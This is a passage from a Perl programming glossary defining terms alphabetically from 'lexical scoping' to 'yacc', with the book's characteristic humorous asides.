lexical scoping

Looking at your Oxford English Dictionary through a microscope. (Also known as static scoping, because dictionaries don't change very fast.) Similarly, looking at variables stored in a private dictionary (namespace) for each scope, which are visible only from their point of declaration down to the end of the lexical scope in which they are declared. --Syn. static scoping. --Ant. dynamic scoping.

lexical variable

A variable subject to lexical scoping, declared by my. Often just called a "lexical". (The our declaration declares a lexically scoped name for a global variable, which is not itself a lexical variable.)

library

Generally, a collection of procedures. In ancient days, referred to a collection of subroutines in a .pl file. In modern times, refers more often to the entire collection of Perl modules on your system.

LIFO

Last In, First Out. See also FIFO. A LIFO is usually called a stack.

line

In Unix, a sequence of zero or more non-newline characters terminated with a newline character. On non-Unix machines, this is emulated by the C library even if the underlying operating system has different ideas.

line buffering

Used by a standard I/O output stream that flushes its buffer after every newline. Many standard I/O libraries automatically set up line buffering on output that is going to the terminal.

line number

The number of lines read previous to this one, plus 1. Perl keeps a separate line number for each source or input file it opens. The current source file's line number is represented by __LINE__. The current input line number (for the file that was most recently read via <FH>) is represented by the $. ($INPUT_LINE_NUMBER) variable. Many error messages report both values, if available.

link

Used as a noun, a name in a directory, representing a file. A given file can have multiple links to it. It's like having the same phone number listed in the phone directory under different names. As a verb, to resolve a partially compiled file's unresolved symbols into a (nearly) executable image. Linking can generally be static or dynamic, which has nothing to do with static or dynamic scoping.

LIST

A syntactic construct representing a comma-separated list of expressions, evaluated to produce a list value. Each expression in a LIST is evaluated in list context and interpolated into the list value.

list

An ordered set of scalar values.

list context

The situation in which an expression is expected by its surroundings (the code calling it) to return a list of values rather than a single value. Functions that want a LIST of arguments tell those arguments that they should produce a list value. See also context.

list operator

An operator that does something with a list of values, such as join or grep. Usually used for named built-in operators (such as print, unlink, and system) that do not require parentheses around their argument list.

list value

An unnamed list of temporary scalar values that may be passed around within a program from any list-generating function to any function or construct that provides a list context.

literal

A token in a programming language such as a number or string that gives you an actual value instead of merely representing possible values as a variable does.

little-endian

From Swift: someone who eats eggs little end first. Also used of computers that store the least significant byte of a word at a lower byte address than the most significant byte. Often considered superior to big-endian machines. See also big-endian.

local

Not meaning the same thing everywhere. A global variable in Perl can be localized inside a dynamic scope via the local operator.

logical operator

Symbols representing the concepts "and", "or", "xor", and "not".

lookahead

An assertion that peeks at the string to the right of the current match location.

lookbehind

An assertion that peeks at the string to the left of the current match location.

loop

A construct that performs something repeatedly, like a roller coaster.

loop control statement

Any statement within the body of a loop that can make a loop prematurely stop looping or skip an iteration. Generally you shouldn't try this on roller coasters.

loop label

A kind of key or name attached to a loop (or roller coaster) so that loop control statements can talk about which loop they want to control.

lvaluable

Able to serve as an lvalue.

lvalue

Term used by language lawyers for a storage location you can assign a new value to, such as a variable or an element of an array. The "l" is short for "left", as in the left side of an assignment, a typical place for lvalues. An lvaluable function or expression is one to which a value may be assigned, as in pos($x) = 10.

lvalue modifier

An adjectival pseudofunction that warps the meaning of an lvalue in some declarative fashion. Currently there are three lvalue modifiers: my, our, and local.

magic

Technically speaking, any extra semantics attached to a variable such as $!, $0, %ENV, or %SIG, or to any tied variable. Magical things happen when you diddle those variables.

magical increment

An increment operator that knows how to bump up alphabetics as well as numbers.

magical variables

Special variables that have side effects when you access them or assign to them. For example, in Perl, changing elements of the %ENV array also changes the corresponding environment variables that subprocesses will use. Reading the $! variable gives you the current system error number or message.

Makefile

A file that controls the compilation of a program. Perl programs don't usually need a Makefile because the Perl compiler has plenty of self-control.

man

The Unix program that displays online documentation (manual pages) for you.

manpage

A "page" from the manuals, typically accessed via the man(1) command. A manpage contains a SYNOPSIS, a DESCRIPTION, a list of BUGS, and so on, and is typically longer than a page. There are manpages documenting commands, syscalls, libraryfunctions, devices, protocols, files, and such. In this book, we call any piece of standard Perl documentation (like perlop or perldelta) a manpage, no matter what format it's installed in on your system.

matching

See pattern matching.

member data

See instance variable.

memory

This always means your main memory, not your disk. Clouding the issue is the fact that your machine may implement virtual memory; that is, it will pretend that it has more memory than it really does, and it'll use disk space to hold inactive bits. This can make it seem like you have a little more memory than you really do, but it's not a substitute for real memory. The best thing that can be said about virtual memory is that it lets your performance degrade gradually rather than suddenly when you run out of real memory. But your program can die when you run out of virtual memory too, if you haven't thrashed your disk to death first.

metacharacter

A character that is not supposed to be treated normally. Which characters are to be treated specially as metacharacters varies greatly from context to context. Your shell will have certain metacharacters, double-quoted Perl strings have other metacharacters, and regular expression patterns have all the double-quote metacharacters plus some extra ones of their own.

metasymbol

Something we'd call a metacharacter except that it's a sequence of more than one character. Generally, the first character in the sequence must be a true metacharacter to get the other characters in the metasymbol to misbehave along with it.

method

A kind of action that an object can take if you tell it to. See Chapter 12, "Objects".

minimalism

The belief that "small is beautiful." Paradoxically, if you say something in a small language, it turns out big, and if you say it in a big language, it turns out small. Go figure.

mode

In the context of the stat(2) syscall, refers to the field holding the permission bits and the type of the file.

modifier

See statement modifier, regular expression modifier, and lvalue modifier, not necessarily in that order.

module

A file that defines a package of (almost) the same name, which can either export symbols or function as an object class. (A module's main .pm file may also load in other files in support of the module.) See the use built-in.

modulus

An integer divisor when you're interested in the remainder instead of the quotient.

monger

Short for Perl Monger, a purveyor of Perl.

mortal

A temporary value scheduled to die when the current statement finishes.

multidimensional array

An array with multiple subscripts for finding a single element. Perl implements these using references--see Chapter 9, "Data Structures".

multiple inheritance

The features you got from your mother and father, mixed together unpredictably. (See also inheritance, and single inheritance.) In computer languages (including Perl), the notion that a given class may have multiple direct ancestors or base classes.

named pipe

A pipe with a name embedded in the filesystem so that it can be accessed by two unrelated processes.

namespace

A domain of names. You needn't worry about whether the names in one such domain have been used in another. See package.

network address

The most important attribute of a socket, like your telephone's telephone number. Typically an IP address. See also port.

newline

A single character that represents the end of a line, with the ASCII value of 012 octal under Unix (but 015 on a Mac), and represented by \n in Perl strings. For Windows machines writing text files, and for certain physical devices like terminals, the single newline gets automatically translated by your C library into a line feed and a carriage return, but normally, no translation is done.

NFS

Network File System, which allows you to mount a remote filesystem as if it were local.

null character

A character with the ASCII value of zero. It's used by C to terminate strings, but Perl allows strings to contain a null.

null list

A list value with zero elements, represented in Perl by ().

null string

A string containing no characters, not to be confused with a string containing a null character, which has a positive length and is true.

numeric context

The situation in which an expression is expected by its surroundings (the code calling it) to return a number. See also context and string context.

NV

Short for Nevada, no part of which will ever be confused with civilization. NV also means an internal floating-point Numeric Value of the type a scalar can hold, not to be confused with an IV.

nybble

Half a byte, equivalent to one hexadecimal digit, and worth four bits.

object

An instance of a class. Something that "knows" what user-defined type (class) it is, and what it can do because of what class it is. Your program can request an object to do things, but the object gets to decide whether it wants to do them or not. Some objects are more accommodating than others.

octal

A number in base 8. Only the digits 0 through 7 are allowed. Octal constants in Perl start with 0, as in 013. See also the oct function.

offset

How many things you have to skip over when moving from the beginning of a string or array to a specific position within it. Thus, the minimum offset is zero, not one, because you don't skip anything to get to the first item.

one-liner

An entire computer program crammed into one line of text.

open source software

Programs for which the source code is freely available and freely redistributable, with no commercial strings attached. For a more detailed definition, see http://www.opensource.org/osd.html.

operand

An expression that yields a value that an operator operates on. See also precedence.

operating system

A special program that runs on the bare machine and hides the gory details of managing processes and devices. Usually used in a looser sense to indicate a particular culture of programming. The loose sense can be used at varying levels of specificity. At one extreme, you might say that all versions of Unix and Unix-lookalikes are the same operating system (upsetting many people, especially lawyers and other advocates). At the other extreme, you could say this particular version of this particular vendor's operating system is different from any other version of this or any other vendor's operating system. Perl is much more portable across operating systems than many other languages. See also architecture and platform.

operator

A gizmo that transforms some number of input values to some number of output values, often built into a language with a special syntax or symbol. A given operator may have specific expectations about what types of data you give as its arguments (operands) and what type of data you want back from it.

operator overloading

A kind of overloading that you can do on built-in operators to make them work on objects as if the objects were ordinary scalar values, but with the actual semantics supplied by the object class. This is set up with the overload pragma--see Chapter 13, "Overloading".

options

See either switches or regular expression modifiers.

overloading

Giving additional meanings to a symbol or construct. Actually, all languages do overloading to one extent or another, since people are good at figuring out things from context.

overriding

Hiding or invalidating some other definition of the same name. (Not to be confused with overloading, which adds definitions that must be disambiguated some other way.) To confuse the issue further, we use the word with two overloaded definitions: to describe how you can define your own subroutine to hide a built-in function of the same name (see "Overriding Built-in Functions" in Chapter 11, "Modules") and to describe how you can define a replacement method in a derived class to hide a base class's method of the same name (see Chapter 12, "Objects").

owner

The one user (apart from the superuser) who has absolute control over a file. A file may also have a group of users who may exercise joint ownership if the real owner permits it. See permission bits.

package

A namespace for global variables, subroutines, and the like, such that they can be kept separate from like-named symbols in other namespaces. In a sense, only the package is global, since the symbols in the package's symbol table are only accessible from code compiled outside the package by naming the package. But in another sense, all package symbols are also globals--they're just well-organized globals.

pad

Short for scratchpad.

parameter

See argument.

parent class

See base class.

parse tree

See syntax tree.

parsing

The subtle but sometimes brutal art of attempting to turn your possibly malformed program into a valid syntax tree.

patch

To fix by applying one, as it were. In the realm of hackerdom, a listing of the differences between two versions of a program as might be applied by the patch(1) program when you want to fix a bug or upgrade your old version.

PATH

The list of directories the system searches to find a program you want to execute. The list is stored as one of your environment variables, accessible in Perl as $ENV{PATH}.

pathname

A fully qualified filename such as /usr/bin/perl. Sometimes confused with PATH.

pattern

A template used in pattern matching.

pattern matching

Taking a pattern, usually a regular expression, and trying the pattern various ways on a string to see whether there's any way to make it fit. Often used to pick interesting tidbits out of a file.

permission bits

Bits that the owner of a file sets or unsets to allow or disallow access to other people. These flag bits are part of the mode word returned by the stat built-in when you ask about a file. On Unix systems, you can check the ls(1) manpage for more information.

Pern

What you get when you do Perl++ twice. Doing it only once will curl your hair. You have to increment it eight times to shampoo your hair. Lather, rinse, iterate.

pipe

A direct connection that carries the output of one process to the input of another without an intermediate temporary file. Once the pipe is set up, the two processes in question can read and write as if they were talking to a normal file, with some caveats.

pipeline

A series of processes all in a row, linked by pipes, where each passes its output stream to the next.

platform

The entire hardware and software context in which a program runs. A program written in a platform-dependent language might break if you change any of: machine, operating system, libraries, compiler, or system configuration. The perl interpreter has to be compiled differently for each platform because it is implemented in C, but programs written in the Perl language are largely platform-independent.

pod

The markup used to embed documentation into your Perl code. See Chapter 26, "Plain Old Documentation".

pointer

A variable in a language like C that contains the exact memory location of some other item. Perl handles pointers internally so you don't have to worry about them. Instead, you just use symbolic pointers in the form of keys and variable names, or hard references, which aren't pointers (but act like pointers and do in fact contain pointers).

polymorphism

The notion that you can tell an object to do something generic, and the object will interpret the command in different ways depending on its type. [<Gk many shapes]

port

The part of the address of a TCP or UDP socket that directs packets to the correct process after finding the right machine, something like the phone extension you give when you reach the company operator. Also, the result of converting code to run on a different platform than originally intended, or the verb denoting this conversion.

portable

Once upon a time, C code compilable under both BSD and SysV. In general, code that can be easily converted to run on another platform, where "easily" can be defined however you like, and usually is. Anything may be considered portable if you try hard enough. See mobile home or London Bridge.

porter

Someone who "carries" software from one platform to another. Porting programs written in platform-dependent languages such as C can be difficult work, but porting programs like Perl is very much worth the agony.

POSIX

The Portable Operating System Interface specification.

postfix

An operator that follows its operand, as in $x++.

pp

An internal shorthand for a "push-pop" code, that is, C code implementing Perl's stack machine.

pragma

A standard module whose practical hints and suggestions are received (and possibly ignored) at compile time. Pragmas are named in all lowercase.

precedence

The rules of conduct that, in the absence of other guidance, determine what should happen first. For example, in the absence of parentheses, you always do multiplication before addition.

prefix

An operator that precedes its operand, as in ++$x.

preprocessing

What some helper process did to transform the incoming data into a form more suitable for the current process. Often done with an incoming pipe. See also C preprocessor.

procedure

A subroutine.

process

An instance of a running program. Under multitasking systems like Unix, two or more separate processes could be running the same program independently at the same time--in fact, the fork function is designed to bring about this happy state of affairs. Under other operating systems, processes are sometimes called "threads", "tasks", or "jobs", often with slight nuances in meaning.

program generator

A system that algorithmically writes code for you in a high-level language. See also code generator.

progressive matching

Pattern matching that picks up where it left off before.

property

See either instance variable or character property.

protocol

In networking, an agreed-upon way of sending messages back and forth so that neither correspondent will get too confused.

prototype

An optional part of a subroutine declaration telling the Perl compiler how many and what flavor of arguments may be passed as actual arguments, so that you can write subroutine calls that parse much like built-in functions. (Or don't parse, as the case may be.)

pseudofunction

A construct that sometimes looks like a function but really isn't. Usually reserved for lvalue modifiers like my, for context modifiers like scalar, and for the pick-your-own-quotes constructs, q//, qq//, qx//, qw//, qr//, m//, s///, y///, and tr///.

pseudohash

A reference to an array whose initial element happens to hold a reference to a hash. You can treat a pseudohash reference as either an array reference or a hash reference.

pseudoliteral

An operator that looks something like a literal, such as the output-grabbing operator, `command`.

public domain

Something not owned by anybody. Perl is copyrighted and is thus not in the public domain--it's just freely available and freely redistributable.

pumpkin

A notional "baton" handed around the Perl community indicating who is the lead integrator in some arena of development.

pumpking

A pumpkin holder, the person in charge of pumping the pump, or at least priming it. Must be willing to play the part of the Great Pumpkin now and then.

PV

A "pointer value", which is Perl Internals Talk for a char*.

qualified

Possessing a complete name. The symbol $Ent::moot is qualified; $moot is unqualified. A fully qualified filename is specified from the top-level directory.

quantifier

A component of a regular expression specifying how many times the foregoing atom may occur.

readable

With respect to files, one that has the proper permission bit set to let you access the file. With respect to computer programs, one that's written well enough that someone has a chance of figuring out what it's trying to do.

reaping

The last rites performed by a parent process on behalf of a deceased child process so that it doesn't remain a zombie. See the wait and waitpid function calls.

record

A set of related data values in a file or stream, often associated with a unique key field. In Unix, often commensurate with a line, or a blank-line-terminated set of lines (a "paragraph"). Each line of the /etc/passwd file is a record, keyed on login name, containing information about that user.

recursion

The art of defining something (at least partly) in terms of itself, which is a naughty no-no in dictionaries but often works out okay in computer programs if you're careful not to recurse forever, which is like an infinite loop with more spectacular failure modes.

reference

Where you look to find a pointer to information somewhere else. (See indirection.) References come in two flavors, symbolic references and hard references.

referent

Whatever a reference refers to, which may or may not have a name. Common types of referents include scalars, arrays, hashes, and subroutines.

regex

See regular expression.

regular expression

A single entity with various interpretations, like an elephant. To a computer scientist, it's a grammar for a little language in which some strings are legal and others aren't. To normal people, it's a pattern you can use to find what you're looking for when it varies from case to case. Perl's regular expressions are far from regular in the theoretical sense, but in regular use they work quite well. Here's a regular expression: /Oh s.*t./. This will match strings like "Oh say can you see by the dawn's early light" and "Oh sit!". See Chapter 5, "Pattern Matching".

regular expression modifier

An option on a pattern or substitution, such as /i to render the pattern case insensitive. See also cloister.

regular file

A file that's not a directory, a device, a named pipe or socket, or a symbolic link. Perl uses the -f file test operator to identify regular files. Sometimes called a "plain" file.

relational operator

An operator that says whether a particular ordering relationship is true about a pair of operands. Perl has both numeric and string relational operators. See collating sequence.

reserved words

A word with a specific, built-in meaning to a compiler, such as if or delete. In many languages (not Perl), it's illegal to use reserved words to name anything else. (Which is why they're reserved, after all.) In Perl, you just can't use them to name labels or filehandles. Also called "keywords".

return value

The value produced by a subroutine or expression when evaluated. In Perl, a return value may be either a list or a scalar.

RFC

Request For Comment, which despite the timid connotations is the name of a series of important standards documents.

right shift

A bit shift that divides a number by some power of 2.

root

The superuser (UID == 0). Also, the top-level directory of the filesystem.

RTFM

What you are told when someone thinks you should Read The Fine Manual.

run phase

Any time after Perl starts running your main program. See also compile phase. Run phase is mostly spent in run time but may also be spent in compile time when require, do FILE, or eval STRING operators are executed or when a substitution uses the /ee modifier.

run time

The time when Perl is actually doing what your code says to do, as opposed to the earlier period of time when it was trying to figure out whether what you said made any sense whatsoever, which is compile time.

run-time pattern

A pattern that contains one or more variables to be interpolated before parsing the pattern as a regular expression, and that therefore cannot be analyzed at compile time, but must be re-analyzed each time the pattern match operator is evaluated. Run-time patterns are useful but expensive.

RV

A recreational vehicle, not to be confused with vehicular recreation. RV also means an internal Reference Value of the type a scalar can hold. See also IV and NV if you're not confused yet.

rvalue

A value that you might find on the right side of an assignment. See also lvalue.

scalar

A simple, singular value; a number, string, or reference.

scalar context

The situation in which an expression is expected by its surroundings (the code calling it) to return a single value rather than a list of values. See also context and list context. A scalar context sometimes imposes additional constraints on the return value--see string context and numeric context. Sometimes we talk about a Boolean context inside conditionals, but this imposes no additional constraints, since any scalar value, whether numeric or string, is already true or false.

scalar literal

A number or quoted string--an actual value in the text of your program, as opposed to a variable.

scalar value

A value that happens to be a scalar as opposed to a list.

scalar variable

A variable prefixed with $ that holds a single value.

scope

How far away you can see a variable from, looking through one. Perl has two visibility mechanisms: it does dynamic scoping of local variables, meaning that the rest of the block, and any subroutines that are called by the rest of the block, can see the variables that are local to the block. Perl does lexical scoping of my variables, meaning that the rest of the block can see the variable, but other subroutines called by the block cannot see the variable.

scratchpad

The area in which a particular invocation of a particular file or subroutine keeps some of its temporary values, including any lexically scoped variables.

script

A text file that is a program intended to be executed directly rather than compiled to another form of file before execution. Also, in the context of Unicode, a writing system for a particular language or group of languages, such as Greek, Bengali, or Klingon.

script kiddie

A cracker who is not a hacker, but knows just enough to run canned scripts. A cargo-cult programmer.

sed

A venerable Stream EDitor from which Perl derives some of its ideas.

semaphore

A fancy kind of interlock that prevents multiple threads or processes from using up the same resources simultaneously.

separator

A character or string that keeps two surrounding strings from being confused with each other. The split function works on separators. Not to be confused with delimiters or terminators. The "or" in the previous sentence separated the two alternatives.

serialization

Putting a fancy data structure into linear order so that it can be stored as a string in a disk file or database or sent through a pipe. Also called marshalling.

server

In networking, a process that either advertises a service or just hangs around at a known location and waits for clients who need service to get in touch with it.

service

Something you do for someone else to make them happy, like giving them the time of day (or of their life). On some machines, well-known services are listed by the getservent function.

setgid

Same as setuid, only having to do with giving away group privileges.

setuid

Said of a program that runs with the privileges of its owner rather than (as is usually the case) the privileges of whoever is running it. Also describes the bit in the mode word (permission bits) that controls the feature. This bit must be explicitly set by the owner to enable this feature, and the program must be carefully written not to give away more privileges than it ought to.

shared memory

A piece of memory accessible by two different processes who otherwise would not see each other's memory.

shebang

Irish for the whole McGillicuddy. In Perl culture, a portmanteau of "sharp" and "bang", meaning the #! sequence that tells the system where to find the interpreter.

shell

A command-line interpreter. The program that interactively gives you a prompt, accepts one or more lines of input, and executes the programs you mentioned, feeding each of them their proper arguments and input data. Shells can also execute scripts containing such commands. Under Unix, typical shells include the Bourne shell (/bin/sh), the C shell (/bin/csh), and the Korn shell (/bin/ksh). Perl is not strictly a shell because it's not interactive (although Perl programs can be interactive).

side effects

Something extra that happens when you evaluate an expression. Nowadays it can refer to almost anything. For example, evaluating a simple assignment statement typically has the "side effect" of assigning a value to a variable. (And you thought assigning the value was your primary intent in the first place!) Likewise, assigning a value to the special variable $| ($AUTOFLUSH) has the side effect of forcing a flush after every write or print on the currently selected filehandle.

signal

A bolt out of the blue; that is, an event triggered by the operating system, probably when you're least expecting it.

signal handler

A subroutine that, instead of being content to be called in the normal fashion, sits around waiting for a bolt out of the blue before it will deign to execute. Under Perl, bolts out of the blue are called signals, and you send them with the kill built-in. See the %SIG hash in Chapter 28, "Special Names", and the section "Signals" in Chapter 16, "Interprocess Communication".

single inheritance

The features you got from your mother, if she told you that you don't have a father. (See also inheritance and multiple inheritance.) In computer languages, the notion that classes reproduce asexually so that a given class can only have one direct ancestor or base class. Perl supplies no such restriction, though you may certainly program Perl that way if you like.

slice

A selection of any number of elements from a list, array, or hash.

slurp

To read an entire file into a string in one operation.

socket

An endpoint for network communication among multiple processes that works much like a telephone or a post office box. The most important thing about a socket is its network address (like a phone number). Different kinds of sockets have different kinds of addresses--some look like filenames, and some don't.

soft reference

See symbolic reference.

source filter

A special kind of module that does preprocessing on your script just before it gets to the tokener.

stack

A device you can put things on the top of, and later take them back off in the opposite order in which you put them on. See LIFO.

standard

Included in the official Perl distribution, as in a standard module, a standard tool, or a standard Perl manpage.

standard error

The default output stream for nasty remarks that don't belong in standard output. Represented within a Perl program by the filehandle STDERR. You can use this stream explicitly, but the die and warn built-ins write to your standard error stream automatically.

standard I/O

A standard C library for doing buffered input and output to the operating system. (The "standard" of standard I/O is only marginally related to the "standard" of standard input and output.) In general, Perl relies on whatever implementation of standard I/O a given operating system supplies, so the buffering characteristics of a Perl program on one machine may not exactly match those on another machine. Normally this only influences efficiency, not semantics. If your standard I/O package is doing block buffering and you want it to flush the buffer more often, just set the $| variable to a true value.

standard input

The default input stream for your program, which if possible shouldn't care where its data is coming from. Represented within a Perl program by the filehandle STDIN.

standard output

The default output stream for your program, which if possible shouldn't care where its data is going. Represented within a Perl program by the filehandle STDOUT.

stat structure

A special internal spot in which Perl keeps the information about the last file on which you requested information.

statement

A command to the computer about what to do next, like a step in a recipe: "Add marmalade to batter and mix until mixed." A statement is distinguished from a declaration, which doesn't tell the computer to do anything, but just to learn something.

statement modifier

A conditional or loop that you put after the statement instead of before, if you know what we mean.

static

Varying slowly compared to something else. (Unfortunately, everything is relatively stable compared to something else, except for certain elementary particles, and we're not so sure about them.) In computers, where things are supposed to vary rapidly, "static" has a derogatory connotation, indicating a slightly dysfunctional variable, subroutine, or method. In Perl culture, the word is politely avoided.

static method

No such thing. See class method.

static scoping

No such thing. See lexical scoping.

static variable

No such thing. Just use a lexical variable in a scope larger than your subroutine.

status

The value returned to the parent process when one of its child processes dies. This value is placed in the special variable $?. Its upper eight bits are the exit status of the defunct process, and its lower eight bits identify the signal (if any) that the process died from. On Unix systems, this status value is the same as the status word returned by wait(2). See system in Chapter 29, "Functions".

STDERR

See standard error.

STDIN

See standard input.

STDIO

See standard I/O.

STDOUT

See standard output.

stream

A flow of data into or out of a process as a steady sequence of bytes or characters, without the appearance of being broken up into packets. This is a kind of interface--the underlying implementation may well break your data up into separate packets for delivery, but this is hidden from you.

string

A sequence of characters such as "He said !@#*&%@#*?!". A string does not have to be entirely printable.

string context

The situation in which an expression is expected by its surroundings (the code calling it) to return a string. See also context and numeric context.

stringification

The process of producing a string representation of an abstract object.

struct

C keyword introducing a structure definition or name.

structure

See data structure.

subclass

See derived class.

subpattern

A component of a regular expression pattern.

subroutine

A named or otherwise accessible piece of program that can be invoked from elsewhere in the program in order to accomplish some sub-goal of the program. A subroutine is often parameterized to accomplish different but related things depending on its input arguments. If the subroutine returns a meaningful value, it is also called a function.

subscript

A value that indicates the position of a particular arrayelement in an array.

substitution

Changing parts of a string via the s/// operator. (We avoid use of this term to mean variable interpolation.)

substring

A portion of a string, starting at a certain character position (offset) and proceeding for a certain number of characters.

superclass

See base class.

superuser

The person whom the operating system will let do almost anything. Typically your system administrator or someone pretending to be your system administrator. On Unix systems, the root user. On Windows systems, usually the Administrator user.

SV

Short for "scalar value". But within the Perl interpreter every referent is treated as a member of a class derived from SV, in an object-oriented sort of way. Every value inside Perl is passed around as a C language SV* pointer. The SV struct knows its own "referent type", and the code is smart enough (we hope) not to try to call a hash function on a subroutine.

switch

An option you give on a command line to influence the way your program works, usually introduced with a minus sign. The word is also used as a nickname for a switch statement.

switch cluster

The combination of multiple command-line switches (e.g., -a -b -c) into one switch (e.g., -abc). Any switch with an additional argument must be the last switch in a cluster.

switch statement

A program technique that lets you evaluate an expression and then, based on the value of the expression, do a multiway branch to the appropriate piece of code for that value. Also called a "case structure", named after the similar Pascal construct. Most switch statements in Perl are spelled for. See "Case Structures" in Chapter 4, "Statements and Declarations".

symbol

Generally, any token or metasymbol. Often used more specifically to mean the sort of name you might find in a symbol table.

symbol table

Where a compiler remembers symbols. A program like Perl must somehow remember all the names of all the variables, filehandles, and subroutines you've used. It does this by placing the names in a symbol table, which is implemented in Perl using a hash table. There is a separate symbol table for each package to give each package its own namespace.

symbolic debugger

A program that lets you step through the execution of your program, stopping or printing things out here and there to see whether anything has gone wrong, and if so, what. The "symbolic" part just means that you can talk to the debugger using the same symbols with which your program is written.

symbolic link

An alternate filename that points to the real filename, which in turn points to the real file. Whenever the operating system is trying to parse a pathname containing a symbolic link, it merely substitutes the new name and continues parsing.

symbolic reference

A variable whose value is the name of another variable or subroutine. By dereferencing the first variable, you can get at the second one. Symbolic references are illegal under use strict 'refs'.

synchronous

Programming in which the orderly sequence of events can be determined; that is, when things happen one after the other, not at the same time.

syntactic sugar

An alternative way of writing something more easily; a shortcut.

syntax

From Greek, "with-arrangement". How things (particularly symbols) are put together with each other.

syntax tree

An internal representation of your program wherein lower-level constructs dangle off the higher-level constructs enclosing them.

syscall

A function call directly to the operating system. Many of the important subroutines and functions you use aren't direct system calls, but are built up in one or more layers above the system call level. In general, Perl programmers don't need to worry about the distinction. However, if you do happen to know which Perl functions are really syscalls, you can predict which of these will set the $! ($ERRNO) variable on failure. Unfortunately, beginning programmers often confusingly employ the term "system call" to mean what happens when you call the Perl system function, which actually involves many syscalls. To avoid any confusion, we nearly always use say "syscall" for something you could call indirectly via Perl's syscall function, and never for something you would call with Perl's system function.

tainted

Said of data derived from the grubby hands of a user and thus unsafe for a secure program to rely on. Perl does taint checks if you run a setuid (or setgid) program, or if you use the -T switch.

TCP

Short for Transmission Control Protocol. A protocol wrapped around the Internet Protocol to make an unreliable packet transmission mechanism appear to the application program to be a reliable stream of bytes. (Usually.)

term

Short for a "terminal", that is, a leaf node of a syntax tree. A thing that functions grammatically as an operand for the operators in an expression.

terminator

A character or string that marks the end of another string. The $/ variable contains the string that terminates a readline operation, which chomp deletes from the end. Not to be confused with delimiters or separators. The period at the end of this sentence is a terminator.

ternary

An operator taking three operands. Sometimes pronounced trinary.

text

A string or file containing primarily printable characters.

thread

Like a forked process, but without fork's inherent memory protection. A thread is lighter weight than a full process, in that a process could have multiple threads running around in it, all fighting over the same process's memory space unless steps are taken to protect threads from each other. See Chapter 17, "Threads".

tie

The bond between a magical variable and its implementation class. See the tie function in Chapter 29, "Functions" and Chapter 14, "Tied Variables".

TMTOWTDI

There's More Than One Way To Do It, the Perl Motto. The notion that there can be more than one valid path to solving a programming problem in context. (This doesn't mean that more ways are always better or that all possible paths are equally desirable--just that there need not be One True Way.)

token

A morpheme in a programming language, the smallest unit of text with semantic significance.

tokener

A module that breaks a program text into a sequence of tokens for later analysis by a parser.

tokenizing

Splitting up a program text into tokens. Also known as "lexing", in which case you get "lexemes" instead of tokens.

toolbox approach

The notion that, with a complete set of simple tools that work well together, you can build almost anything you want. Which is fine if you're assembling a tricycle, but if you're building a defranishizing comboflux regurgalator, you really want your own machine shop in which to build special tools. Perl is sort of a machine shop.

transliterate

To turn one string representation into another by mapping each character of the source string to its corresponding character in the result string. See the tr/// operator in Chapter 5, "Pattern Matching".

trigger

An event that causes a handler to be run.

trinary

Not a stellar system with three stars, but an operator taking three operands. Sometimes pronounced ternary.

troff

A venerable typesetting language from which Perl derives the name of its $% variable and which is secretly used in the production of Camel books.

true

Any scalar value that doesn't evaluate to 0 or "".

truncating

Emptying a file of existing contents, either automatically when opening a file for writing or explicitly via the truncate function.

type

See data type and class.

type casting

Converting data from one type to another. C permits this. Perl does not need it. Nor want it.

typed lexical

A lexical variable that is declared with a class type: my Pony $bill.

typedef

A type definition in the C language.

typeglob

Use of a single identifier, prefixed with *. For example, *name stands for any or all of $name, @name, %name, &name, or just name. How you use it determines whether it is interpreted as all or only one of them. See "Typeglobs and Filehandles" in Chapter 2, "Bits and Pieces".

typemap

A description of how C types may be transformed to and from Perl types within an extension module written in XS.

UDP

User Datagram Protocol, the typical way to send datagrams over the Internet.

UID

A user ID. Often used in the context of file or process ownership.

umask

A mask of those permission bits that should be forced off when creating files or directories, in order to establish a policy of whom you'll ordinarily deny access to. See the umask function.

unary operator

An operator with only one operand, like ! or chdir. Unary operators are usually prefix operators; that is, they precede their operand. The ++ and -- operators can be either prefix or postfix. (Their position does change their meanings.)

Unicode

A character set comprising all the major character sets of the world, more or less. See http://www.unicode.org.

Unix

A very large and constantly evolving language with several alternative and largely incompatible syntaxes, in which anyone can define anything any way they choose, and usually do. Speakers of this language think it's easy to learn because it's so easily twisted to one's own ends, but dialectical differences make tribal intercommunication nearly impossible, and travelers are often reduced to a pidgin-like subset of the language. To be universally understood, a Unix shell programmer must spend years of study in the art. Many have abandoned this discipline and now communicate via an Esperanto-like language called Perl. In ancient times, Unix was also used to refer to some code that a couple of people at Bell Labs wrote to make use of a PDP-7 computer that wasn't doing much of anything else at the time.

value

An actual piece of data, in contrast to all the variables, references, keys, indexes, operators, and whatnot that you need to access the value.

variable

A named storage location that can hold any of various kinds of value, as your program sees fit.

variable interpolation

The interpolation of a scalar or array variable into a string.

variadic

Said of a function that happily receives an indeterminate number of actual arguments.

vector

Mathematical jargon for a list of scalar values.

virtual

Providing the appearance of something without the reality, as in: virtual memory is not real memory. (See also memory.) The opposite of "virtual" is "transparent", which means providing the reality of something without the appearance, as in: Perl handles the variable-length UTF-8 character encoding transparently.

void context

A form of scalar context in which an expression is not expected to return any value at all and is evaluated for its side effects alone.

v-string

A "version" or "vector" string specified with a v followed by a series of decimal integers in dot notation, for instance, v1.20.300.4000. Each number turns into a character with the specified ordinal value. (The v is optional when there are at least three integers.)

warning

A message printed to the STDERR stream to the effect that something might be wrong but isn't worth blowing up over. See warn in Chapter 29, "Functions" and the use warnings pragma in Chapter 31, "Pragmatic Modules".

watch expression

An expression which, when its value changes, causes a breakpoint in the Perl debugger.

whitespace

A character that moves your cursor but doesn't otherwise put anything on your screen. Typically refers to any of: space, tab, line feed, carriage return, or form feed.

word

In normal "computerese", the piece of data of the size most efficiently handled by your computer, typically 32 bits or so, give or take a few powers of 2. In Perl culture, it more often refers to an alphanumeric identifier (including underscores), or to a string of nonwhitespace characters bounded by whitespace or string boundaries.

working directory

Your current directory, from which relative pathnames are interpreted by the operating system. The operating system knows your current directory because you told it with a chdir or because you started out in the place where your parent process was when you were born.

wrapper

A program or subroutine that runs some other program or subroutine for you, modifying some of its input or output to better suit your purposes.

WYSIWYG

What You See Is What You Get. Usually used when something that appears on the screen matches how it will eventually look, like Perl's format declarations. Also used to mean the opposite of magic because everything works exactly as it appears, as in the three-argument form of open.

XS

An extraordinarily exported, expeditiously excellent, expressly eXternal Subroutine, executed in existing C or C++ or in an exciting new extension language called (exasperatingly) XS. Examine Chapter 21, "Internals and Externals", for the exact explanation.

XSUB

An external subroutine defined in XS.

yacc

